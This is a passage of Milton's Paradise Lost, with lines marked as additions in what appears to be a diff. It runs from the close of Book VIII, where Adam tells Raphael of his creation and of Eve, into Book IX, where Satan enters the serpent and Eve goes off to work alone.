with thwart obliquities; +Or save the sun his labour, and that swift +Nocturnal and diurnal rhomb supposed, +Invisible else above all stars, the wheel +Of day and night; which needs not thy belief, +If earth, industrious of herself, fetch day +Travelling east, and with her part averse +From the sun's beam meet night, her other part +Still luminous by his ray. What if that light, +Sent from her through the wide transpicuous air, +To the terrestrial moon be as a star, +Enlightening her by day, as she by night +This earth? reciprocal, if land be there, +Fields and inhabitants: Her spots thou seest +As clouds, and clouds may rain, and rain produce +Fruits in her softened soil for some to eat +Allotted there; and other suns perhaps, +With their attendant moons, thou wilt descry, +Communicating male and female light; +Which two great sexes animate the world, +Stored in each orb perhaps with some that live. +For such vast room in Nature unpossessed +By living soul, desart and desolate, +Only to shine, yet scarce to contribute +Each orb a glimpse of light, conveyed so far +Down to this habitable, which returns +Light back to them, is obvious to dispute. +But whether thus these things, or whether not; +But whether the sun, predominant in Heaven, +Rise on the earth; or earth rise on the sun; +He from the east his flaming road begin; +Or she from west her silent course advance, +With inoffensive pace that spinning sleeps +On her soft axle, while she paces even, +And bears thee soft with the smooth hair along; +Sollicit not thy thoughts with matters hid; +Leave them to God above; him serve, and fear! +Of other creatures, as him pleases best, +Wherever placed, let him dispose; joy thou +In what he gives to thee, this Paradise +And thy fair Eve; Heaven is for thee too high +To know what passes there; be lowly wise: +Think only what concerns thee, and thy being; +Dream not of other worlds, what creatures there +Live, in what state, condition, or degree; +Contented that thus far hath been revealed +Not of Earth only, but of highest Heaven. +To whom thus Adam, cleared of doubt, replied. +How fully hast thou satisfied me, pure +Intelligence of Heaven, Angel serene! +And, freed from intricacies, taught to live +The easiest way; nor with perplexing thoughts +To interrupt the sweet of life, from which +God hath bid dwell far off all anxious cares, +And not molest us; unless we ourselves +Seek them with wandering thoughts, and notions vain. +But apt the mind or fancy is to rove +Unchecked, and of her roving is no end; +Till warned, or by experience taught, she learn, +That, not to know at large of things remote +From use, obscure and subtle; but, to know +That which before us lies in daily life, +Is the prime wisdom: What is more, is fume, +Or emptiness, or fond impertinence: +And renders us, in things that most concern, +Unpractised, unprepared, and still to seek. +Therefore from this high pitch let us descend +A lower flight, and speak of things at hand +Useful; whence, haply, mention may arise +Of something not unseasonable to ask, +By sufferance, and thy wonted favour, deigned. +Thee I have heard relating what was done +Ere my remembrance: now, hear me relate +My story, which perhaps thou hast not heard; +And day is not yet spent; till then thou seest +How subtly to detain thee I devise; +Inviting thee to hear while I relate; +Fond! were it not in hope of thy reply: +For, while I sit with thee, I seem in Heaven; +And sweeter thy discourse is to my ear +Than fruits of palm-tree pleasantest to thirst +And hunger both, from labour, at the hour +Of sweet repast; they satiate, and soon fill, +Though pleasant; but thy words, with grace divine +Imbued, bring to their sweetness no satiety. +To whom thus Raphael answered heavenly meek. +Nor are thy lips ungraceful, Sire of men, +Nor tongue ineloquent; for God on thee +Abundantly his gifts hath also poured +Inward and outward both, his image fair: +Speaking, or mute, all comeliness and grace +Attends thee; and each word, each motion, forms; +Nor less think we in Heaven of thee on Earth +Than of our fellow-servant, and inquire +Gladly into the ways of God with Man: +For God, we see, hath honoured thee, and set +On Man his equal love: Say therefore on; +For I that day was absent, as befel, +Bound on a voyage uncouth and obscure, +Far on excursion toward the gates of Hell; +Squared in full legion (such command we had) +To see that none thence issued forth a spy, +Or enemy, while God was in his work; +Lest he, incensed at such eruption bold, +Destruction with creation might have mixed. +Not that they durst without his leave attempt; +But us he sends upon his high behests +For state, as Sovran King; and to inure +Our prompt obedience. Fast we found, fast shut, +The dismal gates, and barricadoed strong; +But long ere our approaching heard within +Noise, other than the sound of dance or song, +Torment, and loud lament, and furious rage. +Glad we returned up to the coasts of light +Ere sabbath-evening: so we had in charge. +But thy relation now; for I attend, +Pleased with thy words no less than thou with mine. +So spake the Godlike Power, and thus our Sire. +For Man to tell how human life began +Is hard; for who himself beginning knew +Desire with thee still longer to converse +Induced me. As new waked from soundest sleep, +Soft on the flowery herb I found me laid, +In balmy sweat; which with his beams the sun +Soon dried, and on the reeking moisture fed. +Straight toward Heaven my wondering eyes I turned, +And gazed a while the ample sky; till, raised +By quick instinctive motion, up I sprung, +As thitherward endeavouring, and upright +Stood on my feet: about me round I saw +Hill, dale, and shady woods, and sunny plains, +And liquid lapse of murmuring streams; by these, +Creatures that lived and moved, and walked, or flew; +Birds on the branches warbling; all things smiled; +With fragrance and with joy my heart o'erflowed. +Myself I then perused, and limb by limb +Surveyed, and sometimes went, and sometimes ran +With supple joints, as lively vigour led: +But who I was, or where, or from what cause, +Knew not; to speak I tried, and forthwith spake; +My tongue obeyed, and readily could name +Whate'er I saw. Thou Sun, said I, fair light, +And thou enlightened Earth, so fresh and gay, +Ye Hills, and Dales, ye Rivers, Woods, and Plains, +And ye that live and move, fair Creatures, tell, +Tell, if ye saw, how I came thus, how here?-- +Not of myself;--by some great Maker then, +In goodness and in power pre-eminent: +Tell me, how may I know him, how adore, +From whom I have that thus I move and live, +And feel that I am happier than I know.-- +While thus I called, and strayed I knew not whither, +From where I first drew air, and first beheld +This happy light; when, answer none returned, +On a green shady bank, profuse of flowers, +Pensive I sat me down: There gentle sleep +First found me, and with soft oppression seised +My droused sense, untroubled, though I thought +I then was passing to my former state +Insensible, and forthwith to dissolve: +When suddenly stood at my head a dream, +Whose inward apparition gently moved +My fancy to believe I yet had being, +And lived: One came, methought, of shape divine, +And said, 'Thy mansion wants thee, Adam; rise, +'First Man, of men innumerable ordained +'First Father! called by thee, I come thy guide +'To the garden of bliss, thy seat prepared.' +So saying, by the hand he took me raised, +And over fields and waters, as in air +Smooth-sliding without step, last led me up +A woody mountain; whose high top was plain, +A circuit wide, enclosed, with goodliest trees +Planted, with walks, and bowers; that what I saw +Of Earth before scarce pleasant seemed. Each tree, +Loaden with fairest fruit that hung to the eye +Tempting, stirred in me sudden appetite +To pluck and eat; whereat I waked, and found +Before mine eyes all real, as the dream +Had lively shadowed: Here had new begun +My wandering, had not he, who was my guide +Up hither, from among the trees appeared, +Presence Divine. Rejoicing, but with awe, +In adoration at his feet I fell +Submiss: He reared me, and 'Whom thou soughtest I am,' +Said mildly, 'Author of all this thou seest +'Above, or round about thee, or beneath. +'This Paradise I give thee, count it thine +'To till and keep, and of the fruit to eat: +'Of every tree that in the garden grows +'Eat freely with glad heart; fear here no dearth: +'But of the tree whose operation brings +'Knowledge of good and ill, which I have set +'The pledge of thy obedience and thy faith, +'Amid the garden by the tree of life, +'Remember what I warn thee, shun to taste, +'And shun the bitter consequence: for know, +'The day thou eatest thereof, my sole command +'Transgressed, inevitably thou shalt die, +'From that day mortal; and this happy state +'Shalt lose, expelled from hence into a world +'Of woe and sorrow.' Sternly he pronounced +The rigid interdiction, which resounds +Yet dreadful in mine ear, though in my choice +Not to incur; but soon his clear aspect +Returned, and gracious purpose thus renewed. +'Not only these fair bounds, but all the Earth +'To thee and to thy race I give; as lords +'Possess it, and all things that therein live, +'Or live in sea, or air; beast, fish, and fowl. +'In sign whereof, each bird and beast behold +'After their kinds; I bring them to receive +'From thee their names, and pay thee fealty +'With low subjection; understand the same +'Of fish within their watery residence, +'Not hither summoned, since they cannot change +'Their element, to draw the thinner air.' +As thus he spake, each bird and beast behold +Approaching two and two; these cowering low +With blandishment; each bird stooped on his wing. +I named them, as they passed, and understood +Their nature, with such knowledge God endued +My sudden apprehension: But in these +I found not what methought I wanted still; +And to the heavenly Vision thus presumed. +O, by what name, for thou above all these, +Above mankind, or aught than mankind higher, +Surpassest far my naming; how may I +Adore thee, Author of this universe, +And all this good to man? for whose well being +So amply, and with hands so liberal, +Thou hast provided all things: But with me +I see not who partakes. In solitude +What happiness, who can enjoy alone, +Or, all enjoying, what contentment find? +Thus I presumptuous; and the Vision bright, +As with a smile more brightened, thus replied. +What callest thou solitude? Is not the Earth +With various living creatures, and the air +Replenished, and all these at thy command +To come and play before thee? Knowest thou not +Their language and their ways? They also know, +And reason not contemptibly: With these +Find pastime, and bear rule; thy realm is large. +So spake the Universal Lord, and seemed +So ordering: I, with leave of speech implored, +And humble deprecation, thus replied. +Let not my words offend thee, Heavenly Power; +My Maker, be propitious while I speak. +Hast thou not made me here thy substitute, +And these inferiour far beneath me set? +Among unequals what society +Can sort, what harmony, or true delight? +Which must be mutual, in proportion due +Given and received; but, in disparity +The one intense, the other still remiss, +Cannot well suit with either, but soon prove +Tedious alike: Of fellowship I speak +Such as I seek, fit to participate +All rational delight: wherein the brute +Cannot be human consort: They rejoice +Each with their kind, lion with lioness; +So fitly them in pairs thou hast combined: +Much less can bird with beast, or fish with fowl +So well converse, nor with the ox the ape; +Worse then can man with beast, and least of all. +Whereto the Almighty answered, not displeased. +A nice and subtle happiness, I see, +Thou to thyself proposest, in the choice +Of thy associates, Adam! and wilt taste +No pleasure, though in pleasure, solitary. +What thinkest thou then of me, and this my state? +Seem I to thee sufficiently possessed +Of happiness, or not? who am alone +From all eternity; for none I know +Second to me or like, equal much less. +How have I then with whom to hold converse, +Save with the creatures which I made, and those +To me inferiour, infinite descents +Beneath what other creatures are to thee? +He ceased; I lowly answered. To attain +The highth and depth of thy eternal ways +All human thoughts come short, Supreme of things! +Thou in thyself art perfect, and in thee +Is no deficience found: Not so is Man, +But in degree; the cause of his desire +By conversation with his like to help +Or solace his defects. No need that thou +Shouldst propagate, already Infinite; +And through all numbers absolute, though One: +But Man by number is to manifest +His single imperfection, and beget +Like of his like, his image multiplied, +In unity defective; which requires +Collateral love, and dearest amity. +Thou in thy secresy although alone, +Best with thyself accompanied, seekest not +Social communication; yet, so pleased, +Canst raise thy creature to what highth thou wilt +Of union or communion, deified: +I, by conversing, cannot these erect +From prone; nor in their ways complacence find. +Thus I emboldened spake, and freedom used +Permissive, and acceptance found; which gained +This answer from the gracious Voice Divine. +Thus far to try thee, Adam, I was pleased; +And find thee knowing, not of beasts alone, +Which thou hast rightly named, but of thyself; +Expressing well the spirit within thee free, +My image, not imparted to the brute; +Whose fellowship therefore unmeet for thee +Good reason was thou freely shouldst dislike; +And be so minded still: I, ere thou spakest, +Knew it not good for Man to be alone; +And no such company as then thou sawest +Intended thee; for trial only brought, +To see how thou couldest judge of fit and meet: +What next I bring shall please thee, be assured, +Thy likeness, thy fit help, thy other self, +Thy wish exactly to thy heart's desire. +He ended, or I heard no more; for now +My earthly by his heavenly overpowered, +Which it had long stood under, strained to the highth +In that celestial colloquy sublime, +As with an object that excels the sense +Dazzled and spent, sunk down; and sought repair +Of sleep, which instantly fell on me, called +By Nature as in aid, and closed mine eyes. +Mine eyes he closed, but open left the cell +Of fancy, my internal sight; by which, +Abstract as in a trance, methought I saw, +Though sleeping, where I lay, and saw the shape +Still glorious before whom awake I stood: +Who stooping opened my left side, and took +From thence a rib, with cordial spirits warm, +And life-blood streaming fresh; wide was the wound, +But suddenly with flesh filled up and healed: +The rib he formed and fashioned with his hands; +Under his forming hands a creature grew, +Man-like, but different sex; so lovely fair, +That what seemed fair in all the world, seemed now +Mean, or in her summed up, in her contained +And in her looks; which from that time infused +Sweetness into my heart, unfelt before, +And into all things from her air inspired +The spirit of love and amorous delight. +She disappeared, and left me dark; I waked +To find her, or for ever to deplore +Her loss, and other pleasures all abjure: +When out of hope, behold her, not far off, +Such as I saw her in my dream, adorned +With what all Earth or Heaven could bestow +To make her amiable: On she came, +Led by her heavenly Maker, though unseen, +And guided by his voice; nor uninformed +Of nuptial sanctity, and marriage rites: +Grace was in all her steps, Heaven in her eye, +In every gesture dignity and love. +I, overjoyed, could not forbear aloud. +This turn hath made amends; thou hast fulfilled +Thy words, Creator bounteous and benign, +Giver of all things fair! but fairest this +Of all thy gifts! nor enviest. I now see +Bone of my bone, flesh of my flesh, myself +Before me: Woman is her name;of Man +Extracted: for this cause he shall forego +Father and mother, and to his wife adhere; +And they shall be one flesh, one heart, one soul. +She heard me thus; and though divinely brought, +Yet innocence, and virgin modesty, +Her virtue, and the conscience of her worth, +That would be wooed, and not unsought be won, +Not obvious, not obtrusive, but, retired, +The more desirable; or, to say all, +Nature herself, though pure of sinful thought, +Wrought in her so, that, seeing me, she turned: +I followed her; she what was honour knew, +And with obsequious majesty approved +My pleaded reason. To the nuptial bower +I led her blushing like the morn: All Heaven, +And happy constellations, on that hour +Shed their selectest influence; the Earth +Gave sign of gratulation, and each hill; +Joyous the birds; fresh gales and gentle airs +Whispered it to the woods, and from their wings +Flung rose, flung odours from the spicy shrub, +Disporting, till the amorous bird of night +Sung spousal, and bid haste the evening-star +On his hill top, to light the bridal lamp. +Thus have I told thee all my state, and brought +My story to the sum of earthly bliss, +Which I enjoy; and must confess to find +In all things else delight indeed, but such +As, used or not, works in the mind no change, +Nor vehement desire; these delicacies +I mean of taste, sight, smell, herbs, fruits, and flowers, +Walks, and the melody of birds: but here +Far otherwise, transported I behold, +Transported touch; here passion first I felt, +Commotion strange! in all enjoyments else +Superiour and unmoved; here only weak +Against the charm of Beauty's powerful glance. +Or Nature failed in me, and left some part +Not proof enough such object to sustain; +Or, from my side subducting, took perhaps +More than enough; at least on her bestowed +Too much of ornament, in outward show +Elaborate, of inward less exact. +For well I understand in the prime end +Of Nature her the inferiour, in the mind +And inward faculties, which most excel; +In outward also her resembling less +His image who made both, and less expressing +The character of that dominion given +O'er other creatures: Yet when I approach +Her loveliness, so absolute she seems +And in herself complete, so well to know +Her own, that what she wills to do or say, +Seems wisest, virtuousest, discreetest, best: +All higher knowledge in her presence falls +Degraded; Wisdom in discourse with her +Loses discountenanced, and like Folly shows; +Authority and Reason on her wait, +As one intended first, not after made +Occasionally; and, to consummate all, +Greatness of mind and Nobleness their seat +Build in her loveliest, and create an awe +About her, as a guard angelick placed. +To whom the Angel with contracted brow. +Accuse not Nature, she hath done her part; +Do thou but thine; and be not diffident +Of Wisdom; she deserts thee not, if thou +Dismiss not her, when most thou needest her nigh, +By attributing overmuch to things +Less excellent, as thou thyself perceivest. +For, what admirest thou, what transports thee so, +An outside? fair, no doubt, and worthy well +Thy cherishing, thy honouring, and thy love; +Not thy subjection: Weigh with her thyself; +Then value: Oft-times nothing profits more +Than self-esteem, grounded on just and right +Well managed; of that skill the more thou knowest, +The more she will acknowledge thee her head, +And to realities yield all her shows: +Made so adorn for thy delight the more, +So awful, that with honour thou mayest love +Thy mate, who sees when thou art seen least wise. +But if the sense of touch, whereby mankind +Is propagated, seem such dear delight +Beyond all other; think the same vouchsafed +To cattle and each beast; which would not be +To them made common and divulged, if aught +Therein enjoyed were worthy to subdue +The soul of man, or passion in him move. +What higher in her society thou findest +Attractive, human, rational, love still; +In loving thou dost well, in passion not, +Wherein true love consists not: Love refines +The thoughts, and heart enlarges; hath his seat +In reason, and is judicious; is the scale +By which to heavenly love thou mayest ascend, +Not sunk in carnal pleasure; for which cause, +Among the beasts no mate for thee was found. +To whom thus, half abashed, Adam replied. +Neither her outside formed so fair, nor aught +In procreation common to all kinds, +(Though higher of the genial bed by far, +And with mysterious reverence I deem,) +So much delights me, as those graceful acts, +Those thousand decencies, that daily flow +From all her words and actions mixed with love +And sweet compliance, which declare unfeigned +Union of mind, or in us both one soul; +Harmony to behold in wedded pair +More grateful than harmonious sound to the ear. +Yet these subject not; I to thee disclose +What inward thence I feel, not therefore foiled, +Who meet with various objects, from the sense +Variously representing; yet, still free, +Approve the best, and follow what I approve. +To love, thou blamest me not; for Love, thou sayest, +Leads up to Heaven, is both the way and guide; +Bear with me then, if lawful what I ask: +Love not the heavenly Spirits, and how their love +Express they? by looks only? or do they mix +Irradiance, virtual or immediate touch? +To whom the Angel, with a smile that glowed +Celestial rosy red, Love's proper hue, +Answered. Let it suffice thee that thou knowest +Us happy, and without love no happiness. +Whatever pure thou in the body enjoyest, +(And pure thou wert created) we enjoy +In eminence; and obstacle find none +Of membrane, joint, or limb, exclusive bars; +Easier than air with air, if Spirits embrace, +Total they mix, union of pure with pure +Desiring, nor restrained conveyance need, +As flesh to mix with flesh, or soul with soul. +But I can now no more; the parting sun +Beyond the Earth's green Cape and verdant Isles +Hesperian sets, my signal to depart. +Be strong, live happy, and love! But, first of all, +Him, whom to love is to obey, and keep +His great command; take heed lest passion sway +Thy judgement to do aught, which else free will +Would not admit: thine, and of all thy sons, +The weal or woe in thee is placed; beware! +I in thy persevering shall rejoice, +And all the Blest: Stand fast;to stand or fall +Free in thine own arbitrement it lies. +Perfect within, no outward aid require; +And all temptation to transgress repel. +So saying, he arose; whom Adam thus +Followed with benediction. Since to part, +Go, heavenly guest, ethereal Messenger, +Sent from whose sovran goodness I adore! +Gentle to me and affable hath been +Thy condescension, and shall be honoured ever +With grateful memory: Thou to mankind +Be good and friendly still, and oft return! +So parted they; the Angel up to Heaven +From the thick shade, and Adam to his bower. + + + +Book IX + + +No more of talk where God or Angel guest +With Man, as with his friend, familiar us'd, +To sit indulgent, and with him partake +Rural repast; permitting him the while +Venial discourse unblam'd. I now must change +Those notes to tragick; foul distrust, and breach +Disloyal on the part of Man, revolt, +And disobedience: on the part of Heaven +Now alienated, distance and distaste, +Anger and just rebuke, and judgement given, +That brought into this world a world of woe, +Sin and her shadow Death, and Misery +Death's harbinger: Sad talk!yet argument +Not less but more heroick than the wrath +Of stern Achilles on his foe pursued +Thrice fugitive about Troy wall; or rage +Of Turnus for Lavinia disespous'd; +Or Neptune's ire, or Juno's, that so long +Perplexed the Greek, and Cytherea's son: + + 00482129 +If answerable style I can obtain +Of my celestial patroness, who deigns +Her nightly visitation unimplor'd, +And dictates to me slumbering; or inspires +Easy my unpremeditated verse: +Since first this subject for heroick song +Pleas'd me long choosing, and beginning late; +Not sedulous by nature to indite +Wars, hitherto the only argument +Heroick deem'd chief mastery to dissect +With long and tedious havock fabled knights +In battles feign'd; the better fortitude +Of patience and heroick martyrdom +Unsung; or to describe races and games, +Or tilting furniture, imblazon'd shields, +Impresses quaint, caparisons and steeds, +Bases and tinsel trappings, gorgeous knights +At joust and tournament; then marshall'd feast +Serv'd up in hall with sewers and seneshals; +The skill of artifice or office mean, +Not that which justly gives heroick name +To person, or to poem. Me, of these +Nor skill'd nor studious, higher argument +Remains; sufficient of itself to raise +That name, unless an age too late, or cold +Climate, or years, damp my intended wing +Depress'd; and much they may, if all be mine, +Not hers, who brings it nightly to my ear. +The sun was sunk, and after him the star +Of Hesperus, whose office is to bring +Twilight upon the earth, short arbiter +"twixt day and night, and now from end to end +Night's hemisphere had veil'd the horizon round: +When satan, who late fled before the threats +Of Gabriel out of Eden, now improv'd +In meditated fraud and malice, bent +On Man's destruction, maugre what might hap +Of heavier on himself, fearless returned +From compassing the earth; cautious of day, +Since Uriel, regent of the sun, descried +His entrance, and foreworned the Cherubim +That kept their watch; thence full of anguish driven, +The space of seven continued nights he rode +With darkness; thrice the equinoctial line +He circled; four times crossed the car of night +From pole to pole, traversing each colure; +On the eighth returned; and, on the coast averse +From entrance or Cherubick watch, by stealth +Found unsuspected way. There was a place, +Now not, though sin, not time, first wrought the change, +Where Tigris, at the foot of Paradise, +Into a gulf shot under ground, till part +Rose up a fountain by the tree of life: +In with the river sunk, and with it rose +Satan, involved in rising mist; then sought +Where to lie hid; sea he had searched, and land, +From Eden over Pontus and the pool +Maeotis, up beyond the river Ob; +Downward as far antarctick; and in length, +West from Orontes to the ocean barred +At Darien ; thence to the land where flows +Ganges and Indus: Thus the orb he roamed +With narrow search; and with inspection deep +Considered every creature, which of all +Most opportune might serve his wiles; and found +The Serpent subtlest beast of all the field. +Him after long debate, irresolute +Of thoughts revolved, his final sentence chose +Fit vessel, fittest imp of fraud, in whom +To enter, and his dark suggestions hide +From sharpest sight: for, in the wily snake +Whatever sleights, none would suspicious mark, +As from his wit and native subtlety +Proceeding; which, in other beasts observed, +Doubt might beget of diabolick power +Active within, beyond the sense of brute. +Thus he resolved, but first from inward grief +His bursting passion into plaints thus poured. +More justly, seat worthier of Gods, as built +With second thoughts, reforming what was old! +O Earth, how like to Heaven, if not preferred +For what God, after better, worse would build? +Terrestrial Heaven, danced round by other Heavens +That shine, yet bear their bright officious lamps, +Light above light, for thee alone, as seems, +In thee concentring all their precious beams +Of sacred influence! As God in Heaven +Is center, yet extends to all; so thou, +Centring, receivest from all those orbs: in thee, +Not in themselves, all their known virtue appears +Productive in herb, plant, and nobler birth +Of creatures animate with gradual life +Of growth, sense, reason, all summed up in Man. +With what delight could I have walked thee round, +If I could joy in aught, sweet interchange +Of hill, and valley, rivers, woods, and plains, +Now land, now sea and shores with forest crowned, +Rocks, dens, and caves! But I in none of these +Find place or refuge; and the more I see +Pleasures about me, so much more I feel +Torment within me, as from the hateful siege +Of contraries: all good to me becomes +Bane, and in Heaven much worse would be my state. +But neither here seek I, no nor in Heaven +To dwell, unless by mastering Heaven's Supreme; +Nor hope to be myself less miserable +By what I seek, but others to make such +As I, though thereby worse to me redound: +For only in destroying I find ease +To my relentless thoughts; and, him destroyed, +Or won to what may work his utter loss, +For whom all this was made, all this will soon +Follow, as to him linked in weal or woe; +In woe then; that destruction wide may range: +To me shall be the glory sole among +The infernal Powers, in one day to have marred +What he, Almighty styled, six nights and days +Continued making; and who knows how long +Before had been contriving? though perhaps +Not longer than since I, in one night, freed +From servitude inglorious well nigh half +The angelick name, and thinner left the throng +Of his adorers: He, to be avenged, +And to repair his numbers thus impaired, +Whether such virtue spent of old now failed +More Angels to create, if they at least +Are his created, or, to spite us more, +Determined to advance into our room +A creature formed of earth, and him endow, +Exalted from so base original, +With heavenly spoils, our spoils: What he decreed, +He effected; Man he made, and for him built +Magnificent this world, and earth his seat, +Him lord pronounced; and, O indignity! +Subjected to his service angel-wings, +And flaming ministers to watch and tend +Their earthly charge: Of these the vigilance +I dread; and, to elude, thus wrapt in mist +Of midnight vapour glide obscure, and pry +In every bush and brake, where hap may find +The serpent sleeping; in whose mazy folds +To hide me, and the dark intent I bring. +O foul descent! that I, who erst contended +With Gods to sit the highest, am now constrained +Into a beast; and, mixed with bestial slime, +This essence to incarnate and imbrute, +That to the highth of Deity aspired! +But what will not ambition and revenge +Descend to? Who aspires, must down as low +As high he soared; obnoxious, first or last, +To basest things. Revenge, at first though sweet, +Bitter ere long, back on itself recoils: +Let it; I reck not, so it light well aimed, +Since higher I fall short, on him who next +Provokes my envy, this new favourite +Of Heaven, this man of clay, son of despite, +Whom, us the more to spite, his Maker raised +From dust: Spite then with spite is best repaid. +So saying, through each thicket dank or dry, +Like a black mist low-creeping, he held on +His midnight-search, where soonest he might find +The serpent; him fast-sleeping soon he found +In labyrinth of many a round self-rolled, +His head the midst, well stored with subtile wiles: +Not yet in horrid shade or dismal den, +Nor nocent yet; but, on the grassy herb, +Fearless unfeared he slept: in at his mouth +The Devil entered; and his brutal sense, +In heart or head, possessing, soon inspired +With act intelligential; but his sleep +Disturbed not, waiting close the approach of morn. +Now, when as sacred light began to dawn +In Eden on the humid flowers, that breathed +Their morning incense, when all things, that breathe, +From the Earth's great altar send up silent praise +To the Creator, and his nostrils fill +With grateful smell, forth came the human pair, +And joined their vocal worship to the quire +Of creatures wanting voice; that done, partake +The season prime for sweetest scents and airs: +Then commune, how that day they best may ply +Their growing work: for much their work out-grew +The hands' dispatch of two gardening so wide, +And Eve first to her husband thus began. +Adam, well may we labour still to dress +This garden, still to tend plant, herb, and flower, +Our pleasant task enjoined; but, till more hands +Aid us, the work under our labour grows, +Luxurious by restraint; what we by day +Lop overgrown, or prune, or prop, or bind, +One night or two with wanton growth derides +Tending to wild. Thou therefore now advise, +Or bear what to my mind first thoughts present: +Let us divide our labours; thou, where choice +Leads thee, or where most needs, whether to wind +The woodbine round this arbour, or direct +The clasping ivy where to climb; while I, +In yonder spring of roses intermixed +With myrtle, find what to redress till noon: +For, while so near each other thus all day +Our task we choose, what wonder if so near +Looks intervene and smiles, or object new +Casual discourse draw on; which intermits +Our day's work, brought to little, though begun +Early, and the hour of supper comes unearned? +To whom mild answer Adam thus returned. +Sole Eve, associate sole, to me beyond +Compare above all living creatures dear! +Well hast thou motioned, well thy thoughts employed, +How we might best fulfil the work which here +God hath assigned us; nor of me shalt pass +Unpraised: for nothing lovelier can be found +In woman, than to study houshold good, +And good works in her husband to promote. +Yet not so strictly hath our Lord imposed +Labour, as to debar us when we need +Refreshment, whether food, or talk between, +Food of the mind, or this sweet intercourse +Of looks and smiles; for smiles from reason flow, +To brute denied, and are of love the food; +Love, not the lowest end of human life. +For not to irksome toil, but to delight, +He made us, and delight to reason joined. +These paths and bowers doubt not but our joint hands +Will keep from wilderness with ease, as wide +As we need walk, till younger hands ere long +Assist us; But, if much converse perhaps +Thee satiate, to short absence I could yield: +For solitude sometimes is best society, +And short retirement urges sweet return. +But other doubt possesses me, lest harm +Befall thee severed from me; for thou knowest +What hath been warned us, what malicious foe +Envying our happiness, and of his own +Despairing, seeks to work us woe and shame +By sly assault; and somewhere nigh at hand +Watches, no doubt, with greedy hope to find +His wish and best advantage, us asunder; +Hopeless to circumvent us joined, where each +To other speedy aid might lend at need: +Whether his first design be to withdraw +Our fealty from God, or to disturb +Conjugal love, than which perhaps no bliss +Enjoyed by us excites his envy more; +Or this, or worse, leave not the faithful side +That gave thee being, still shades thee, and protects. +The wife, where danger or dishonour lurks, +Safest and seemliest by her husband stays, +Who guards her, or with her the worst endures. +To whom the virgin majesty of Eve, +As one who loves, and some unkindness meets, +With sweet austere composure thus replied. +Offspring of Heaven and Earth, and all Earth's Lord! +That such an enemy we have, who seeks +Our ruin, both by thee informed I learn, +And from the parting Angel over-heard, +As in a shady nook I stood behind, +Just then returned at shut of evening flowers. +But, that thou shouldst my firmness therefore doubt +To God or thee, because we have a foe +May tempt it, I expected not to hear. +His violence thou fearest not, being such +As we, not capable of death or pain, +Can either not receive, or can repel. +His fraud is then thy fear; which plain infers +Thy equal fear, that my firm faith and love +Can by his fraud be shaken or seduced; +Thoughts, which how found they harbour in thy breast, +Adam, mis-thought of her to thee so dear? +To whom with healing words Adam replied. +Daughter of God and Man, immortal Eve! +For such thou art; from sin and blame entire: +Not diffident of thee do I dissuade +Thy absence from my sight, but to avoid +The attempt itself, intended by our foe. +For he who tempts, though in vain, at least asperses +The tempted with dishonour foul; supposed +Not incorruptible of faith, not proof +Against temptation: Thou thyself with scorn +And anger wouldst resent the offered wrong, +Though ineffectual found: misdeem not then, +If such affront I labour to avert +From thee alone, which on us both at once +The enemy, though bold, will hardly dare; +Or daring, first on me the assault shall light. +Nor thou his malice and false guile contemn; +Subtle he needs must be, who could seduce +Angels; nor think superfluous other's aid. +I, from the influence of thy looks, receive +Access in every virtue; in thy sight +More wise, more watchful, stronger, if need were +Of outward strength; while shame, thou looking on, +Shame to be overcome or over-reached, +Would utmost vigour raise, and raised unite. +Why shouldst not thou like sense within thee feel +When I am present, and thy trial choose +With me, best witness of thy virtue tried? +So spake domestick Adam in his care +And matrimonial love; but Eve, who thought +Less attributed to her faith sincere, +Thus her reply with accent sweet renewed. +If this be our condition, thus to dwell +In narrow circuit straitened by a foe, +Subtle or violent, we not endued +Single with like defence, wherever met; +How are we happy, still in fear of harm? +But harm precedes not sin: only our foe, +Tempting, affronts us with his foul esteem +Of our integrity: his foul esteem +Sticks no dishonour on our front, but turns +Foul on himself; then wherefore shunned or feared +By us? who rather double honour gain +From his surmise proved false; find peace within, +Favour from Heaven, our witness, from the event. +And what is faith, love, virtue, unassayed +Alone, without exteriour help sustained? +Let us not then suspect our happy state +Left so imperfect by the Maker wise, +As not secure to single or combined. +Frail is our happiness, if this be so, +And Eden were no Eden, thus exposed. +To whom thus Adam fervently replied. +O Woman, best are all things as the will +Of God ordained them: His creating hand +Nothing imperfect or deficient left +Of all that he created, much less Man, +Or aught that might his happy state secure, +Secure from outward force; within himself +The danger lies, yet lies within his power: +Against his will he can receive no harm. +But God left free the will; for what obeys +Reason, is free; and Reason he made right, +But bid her well be ware, and still erect; +Lest, by some fair-appearing good surprised, +She dictate false; and mis-inform the will +To do what God expressly hath forbid. +Not then mistrust, but tender love, enjoins, +That I should mind thee oft; and mind thou me. +Firm we subsist, yet possible to swerve; +Since Reason not impossibly may meet +Some specious object by the foe suborned, +And fall into deception unaware, +Not keeping strictest watch, as she was warned. +Seek not temptation then, which to avoid +Were better, and most likely if from me +Thou sever not: Trial will come unsought. +Wouldst thou approve thy constancy, approve +First thy obedience; the other who can know, +Not seeing thee attempted, who attest? +But, if thou think, trial unsought may find +Us both securer than thus warned thou seemest, +Go; for thy stay, not free, absents thee more; +Go in thy native innocence, rely +On what thou hast of virtue; summon all! +For God towards thee hath done his part, do thine. +So spake the patriarch of mankind; but Eve +Persisted; yet submiss, though last, replied. +With thy permission then, and thus forewarned +Chiefly by what thy own last reasoning words +Touched only; that our trial, when least sought, +May find us both perhaps far less prepared, +The willinger I go, nor much expect +A foe so proud will first the weaker seek; +So bent, the more shall shame him his repulse. +Thus saying, from her husband's hand her hand +Soft she withdrew; and, like a Wood-Nymph light, +Oread or Dryad, or of Delia's train, +Betook her to the groves; but Delia's self +In gait surpassed, and Goddess-like deport, +Though not as she with bow and quiver armed, +But with such gardening tools as Art yet rude, +Guiltless of fire, had formed, or Angels brought. +To Pales, or Pomona, thus adorned, +Likest she seemed, Pomona when she fled +Vertumnus, or to Ceres in her prime, +Yet virgin of Proserpina from Jove. +Her long with ardent look his eye pursued +Delighted, but desiring more her stay. +Oft he to her his charge of quick return +Repeated; she to him as oft engaged +To be returned by noon amid the bower, +And all things in best order to invite +Noontide repast, or afternoon's repose. +O much deceived, much failing, hapless Eve, +Of thy presumed return! event perverse! +Thou never from that hour in Paradise +Foundst either sweet repast, or sound repose; +Such ambush, hid among sweet flowers and shades, +Waited with hellish rancour imminent +To intercept thy way, or send thee back +Despoiled of innocence, of faith, of bliss! +For now, and since first break of dawn, the Fiend, +Mere serpent in appearance, forth was come; +And on his quest, where likeliest he might find +The only two of mankind, but in them +The whole included race, his purposed prey. +In bower and field he sought, where any tuft +Of grove or garden-plot 